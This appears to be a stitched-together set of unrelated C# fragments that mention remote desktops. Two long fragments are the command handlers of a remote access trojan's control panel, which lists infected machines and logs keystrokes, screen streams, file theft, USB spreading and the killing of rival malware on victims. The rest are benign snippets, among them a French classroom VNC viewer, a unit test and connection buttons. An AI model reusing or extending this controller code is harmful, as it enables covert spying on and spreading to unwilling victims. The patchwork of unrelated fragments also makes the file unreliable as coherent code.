private DesktopSize ConvertDeskopSize(RemoteDesktop desktopSettings) { if (desktopSettings.FullScreen) return DesktopSize.FullScreen; if (desktopSettings.SameSizeAsClientArea) return DesktopSize.FitToWindow; return this.ResolveConcreateSize(desktopSettings.Size); }
public static void Read(object Obj) { try { object[] array = Obj as object[]; byte[] Data = (byte[])array[0]; Clients Client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { Client.LV = new ListViewItem(); Client.LV.Tag = Client; Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); Client.LV.SubItems.Add(ipinf[1]); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; Program.form1.listView1.Items.Insert(0, Client.LV); lock (Settings.Online) { Settings.Online.Add(Client); } })); HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } break; case "Ping": { Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Logs": { HandleLogs.Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black); } break; case "BotKiller": { HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); } break; case "usbSpread": { HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); } break; case "Received": { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { Client.LV.ForeColor = Color.Empty; })); } } break; case "remoteDesktop": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID]; try { if (RD != null && RD.Active == true) { byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = (Bitmap)decoded; RD.RenderSW = Stopwatch.StartNew(); } RD.FPS++; if (RD.sw.ElapsedMilliseconds >= 1000) { RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); RD.FPS = 0; RD.sw = Stopwatch.StartNew(); } } else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "false"; Client.BeginSend(msgpack.Encode2Bytes()); } } catch (Exception ex) { Debug.WriteLine(ex.Message); } })); } } break; case "processManager": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID]; if (PM != null) { PM.listView1.Items.Clear(); string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString; string data = AllProcess.ToString(); string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None); for (int i = 0; i < _NextProc.Length; i++) { if (_NextProc[i].Length > 0) { ListViewItem lv = new ListViewItem(); lv.Text = Path.GetFileName(_NextProc[i]); lv.SubItems.Add(_NextProc[i + 1]); lv.ToolTipText = _NextProc[i]; Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); PM.imageList1.Images.Add(_NextProc[i + 1], im); lv.ImageKey = _NextProc[i + 1]; PM.listView1.Items.Add(lv); } i += 2; } } })); } } break; case "socketDownload": { switch (unpack_msgpack.ForcePathObject("Command").AsString) { case "pre": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; string file = unpack_msgpack.ForcePathObject("File").AsString; string size = unpack_msgpack.ForcePathObject("Size").AsString; DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { SD.C = Client; SD.labelfile.Text = Path.GetFileName(file); SD.dSize = Convert.ToInt64(size); SD.timer1.Start(); } })); } } break; case "save": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) { Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); } unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); } })); } } break; } break; } case "keyLogger": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + Client.ID]; if (KL != null) { KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); } else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; Client.BeginSend(msgpack.Encode2Bytes()); } })); } break; } case "fileManager": { switch (unpack_msgpack.ForcePathObject("Command").AsString) { case "getDrivers": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID]; if (FM != null) { FM.listView1.Items.Clear(); string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); for (int i = 0; i < driver.Length; i++) { if (driver[i].Length > 0) { ListViewItem lv = new ListViewItem(); lv.Text = driver[i]; lv.ToolTipText = driver[i]; if (driver[i + 1] == "Fixed") { lv.ImageIndex = 1; } else if (driver[i + 1] == "Removable") { lv.ImageIndex = 2; } else { lv.ImageIndex = 1; } FM.listView1.Items.Add(lv); } i += 1; } } })); } } break; case "getPath": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID]; if (FM != null) { FM.listView1.Items.Clear(); FM.listView1.Groups.Clear(); string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); ListViewGroup groupFolder = new ListViewGroup("Folders"); FM.listView1.Groups.Add(groupFolder); int numFolders = 0; for (int i = 0; i < _folder.Length; i++) { if (_folder[i].Length > 0) { ListViewItem lv = new ListViewItem(); lv.Text = _folder[i]; lv.ToolTipText = _folder[i + 1]; lv.Group = groupFolder; lv.ImageIndex = 0; FM.listView1.Items.Add(lv); numFolders += 1; } i += 1; } string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); ListViewGroup groupFile = new ListViewGroup("Files"); FM.listView1.Groups.Add(groupFile); int numFiles = 0; for (int i = 0; i < _file.Length; i++) { if (_file[i].Length > 0) { ListViewItem lv = new ListViewItem(); lv.Text = Path.GetFileName(_file[i]); lv.ToolTipText = _file[i + 1]; Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); FM.imageList1.Images.Add(_file[i + 1], im); lv.ImageKey = _file[i + 1]; lv.Group = groupFile; lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); FM.listView1.Items.Add(lv); numFiles += 1; } i += 3; } FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; } })); } } break; } break; } } } catch (Exception ex) { Debug.WriteLine(ex.Message); } }
public MainForm() { // // The InitializeComponent() call is required for Windows Forms designer support. // InitializeComponent(); // // TODO: Add constructor code after the InitializeComponent() call. // char[] str = new char[16]; int comp = 0, comp0 = 0; string nsalle = "", line, étage; ceposte = System.Environment.MachineName.ToUpper(); //nsalle="B208"; //ceposte="B01-01"; //Fichier absent if (System.IO.File.Exists("Plan.csv") == false) { //exit MessageBox.Show("Plan.csv manquant", "Erreur", MessageBoxButtons.OK, MessageBoxIcon.Error); System.Environment.Exit(0); } if (System.IO.File.Exists("vncviewer.exe") == false) { //exit MessageBox.Show("vncviewer.exe manquant", "Erreur", MessageBoxButtons.OK, MessageBoxIcon.Error); System.Environment.Exit(0); } binfile = new FonctionFichierBinaireCLR("Plan.csv"); //Objet dans collection InitCollections(); //Détection de la licence windows. RegistryKey Nkey = Registry.LocalMachine; RegistryKey valKey = Nkey.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion", false); line = valKey.GetValue("ProductId").ToString(); valKey.Close(); Nkey.Close(); if (line == "55711-641-6046354-23889") { MessageBox.Show("Vous n'êtes pas autorisé à utiliser ce logiciel\n\nMerci de contacter xxxx si ce comportement est anormal\n\nID du poste " + line, "Alerte", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); AProposToolStripMenuItemClick(0, null); System.Environment.Exit(1); } //Version prof if (vprof == true) { //this.Etage1ToolStripMenuItem.Visible=false; //this.Etage2ToolStripMenuItem.Visible=false; //this.RdcToolStripMenuItem.Visible=false; comp = ceposte.IndexOf('-'); if (comp != -1) { ceposte.CopyTo(0, str, 0, comp); nsalle = new string(str, 0, comp); //La seule solution pour convertir char* en string nsalle = nsalle.ToUpper(); DessineSalle(nsalle); } else { //this.label1.Text = "Numéro de poste non conforme."; MessageBox.Show("Numéro de poste non conforme.\n\nMerci de contacter xxxx si ce comportement est anormal", "Erreur", MessageBoxButtons.OK, MessageBoxIcon.Error); System.Environment.Exit(1); } if (nbposteaff < 2) { MessageBox.Show("Cette salle ne contient qu'un seul poste ou n'est pas prévu.\n\nMerci de contacter xxxx si ce comportement est anormal", "Alerte", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); System.Environment.Exit(1); } this.Show(); MessageBox.Show("La mosaique est enfin disponible dans le menu en haut à gauche.", "Aide", MessageBoxButtons.OK, MessageBoxIcon.Information); } //Version Admin else { comp0 = 0; while (!binfile.EndOfStream) { line = binfile.LireLigne(); if (line.Length != 0) //Ligne vide ignoré { if (line[0] == '/' & line[1] == '/') { //Contient commentaire, donc ligne ignoré } else if (line[0] == ':' && line[1] != ':') //étage { line.CopyTo(1, str, 0, line.Length - 1); nsalle = new string(str, 0, line.Length - 1); //La seule solution pour convertir char* en string étage = nsalle; } else if (line[0] == ':' && line[1] == ':') //Salle { // nsalle.CopyTo(0,str,0,comp); // nsalle = new string(str,0,comp);//La seule solution pour convertir char* en string comp0 += 1; /*if(Array.BinarySearch(établissement, nsalle)==0) * { * //établissement.SetValue(étage, nsalle); * }*/ } } } //MessageBox.Show(comp0.ToString()); établissement = new string[comp0, 2]; binfile.Seek0(); while (!binfile.EndOfStream) { line = binfile.LireLigne(); if (line.Length != 0) //Ligne vide ignoré { if (line[0] == '/' & line[1] == '/') { //Contient commentaire, donc ligne ignoré } else if (line[0] == ':' & line[1] != ':') //étage { line.CopyTo(1, str, 0, line.Length - 1); nsalle = new string(str, 0, line.Length - 1); //La seule solution pour convertir char* en string comboBox1.Items.Add(nsalle); /* switch (line) * { * case ":RDC;X;Y"://RDC * etage=0; * break; * case ":PREMIER;;"://egal à premier * etage=1; * break; * case ":DEUXIEME;;"://egal à deuxieme * etage=2; * break; * }*/ } /* else if (line[0]==':'&line[1]==':')//salle * { * //Section poste * comp = line.IndexOf('-'); * //System.Windows.Forms.MessageBox.Show(comp.ToString()); * line.CopyTo(0,str,0,comp); * nsalle = new string(str,0,comp);//La seule solution pour convertir char* en string * nsalle = nsalle.ToUpper(); * * //changement du menu * if (nsalle!=nsallesave)//pour eviter de recommencer la même chose * { * if(etage==0) * { * MyTSM3[comp0].Text=nsalle; * MyTSM3[comp0].Visible=true; * MyTSM3[comp0].Click += new System.EventHandler(MyTSM1Click); * comp0++; * } * else if(etage==1) * { * MyTSM1[comp1].Text=nsalle; * MyTSM1[comp1].Visible=true; * MyTSM1[comp1].Click += new System.EventHandler(MyTSM1Click); * comp1++; * } * else if(etage==2) * { * MyTSM2[comp2].Text=nsalle; * MyTSM2[comp2].Visible=true; * MyTSM2[comp2].Click += new System.EventHandler(MyTSM1Click); * comp2++; * } * } * nsallesave=nsalle.ToString(); * }*/ } } } this.Resize += new EventHandler(MainForm_Resize); FormClosing += MainForm_Resize; SuspendLayout(); for (comp = 0; comp < NBELEMENT; comp++) { LabelArray[comp] = new Label(); LabelArray[comp].Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); LabelArray[comp].Location = new System.Drawing.Point(comp % 5 * this.Width / 5 + comp % 5, comp / 5 * this.Height / 5); LabelArray[comp].Name = "label" + comp.ToString(); LabelArray[comp].Size = new System.Drawing.Size(70, 15); LabelArray[comp].TabIndex = LabelArray[comp].TabIndex; LabelArray[comp].Text = "label" + comp.ToString(); LabelArray[comp].TextAlign = System.Drawing.ContentAlignment.TopLeft; LabelArray[comp].Visible = false; LabelArray[comp].Enabled = false; Controls.Add(LabelArray[comp]); MyRDArray[comp] = new RemoteDesktop(); MyRDArray[comp].GetPassword = passw; MyRDArray[comp].AutoScroll = false; MyRDArray[comp].Location = new System.Drawing.Point(comp % 5 * this.Width / 5 + comp % 5, comp / 5 * this.Height / 5 + 24); MyRDArray[comp].Name = "remoteDesktop" + comp.ToString(); MyRDArray[comp].TabIndex = 0; MyRDArray[comp].Visible = false; MyRDArray[comp].Enabled = false; this.Controls.Add(MyRDArray[comp]); } ResumeLayout(false); PerformLayout(); this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.MainForm_FormClosing); }
public static void Read(Clients Client, byte[] Data) { try { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { Client.LV = new ListViewItem(); Client.LV.Tag = Client; Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; Program.form1.listView1.Items.Insert(0, Client.LV); Settings.Online.Add(Client); })); } break; case "Ping": { Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Received": { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { Client.LV.ForeColor = Color.Empty; })); } } break; case "remoteDesktop": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID]; try { if (RD != null && RD.Active == true) { byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = (Bitmap)decoded; RD.RenderSW = Stopwatch.StartNew(); } RD.FPS++; if (RD.sw.ElapsedMilliseconds >= 1000) { RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Helper.BytesToString(RdpStream.Length); RD.FPS = 0; RD.sw = Stopwatch.StartNew(); } } else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "false"; Client.BeginSend(msgpack.Encode2Bytes()); } } catch (Exception ex) { Debug.WriteLine(ex.Message); } })); } } break; case "processManager": { if (Program.form1.InvokeRequired) { Program.form1.BeginInvoke((MethodInvoker)(() => { ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID]; if (PM != null) { PM.listView1.Items.Clear(); string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString; string data = AllProcess.ToString(); string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None); for (int i = 0; i < _NextProc.Length; i++) { if (_NextProc[i].Length > 0) { ListViewItem lv = new ListViewItem(); lv.Text = Path.GetFileName(_NextProc[i]); lv.SubItems.Add(_NextProc[i + 1]); lv.ToolTipText = _NextProc[i]; Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); PM.imageList1.Images.Add(_NextProc[i + 1], im); lv.ImageKey = _NextProc[i + 1]; PM.listView1.Items.Add(lv); } i += 2; } } })); } } break; } } catch (Exception ex) { Debug.WriteLine(ex.Message); } }
public void GetCurrentSessionId() { // This, of course, won't necessarily be true if remotely connected to a full Terminal Server // or as an administrator to a Windows server via Remote Desktop for Administration. RemoteDesktop.ProcessIdToSessionId(Processes.GetCurrentProcessId()).Should().Be(1); }
private void EvirWindowsButton_Click(object sender, RoutedEventArgs e) => RemoteDesktop.ConnectToWindowsDesktop();
private void EvirLinuxButton_Click(object sender, RoutedEventArgs e) => RemoteDesktop.ConnectToLinuxDesktop();
private void btnLaunch_Click(object sender, EventArgs e) { RemoteDesktop.Show(txtHost.Text, txtUsername.Text, txtPassword.Text, txtDomain.Text); Thread.Sleep(1000); //Meh, stupid Windows. RemoteDesktop.RemoveCredentials(txtHost.Text); }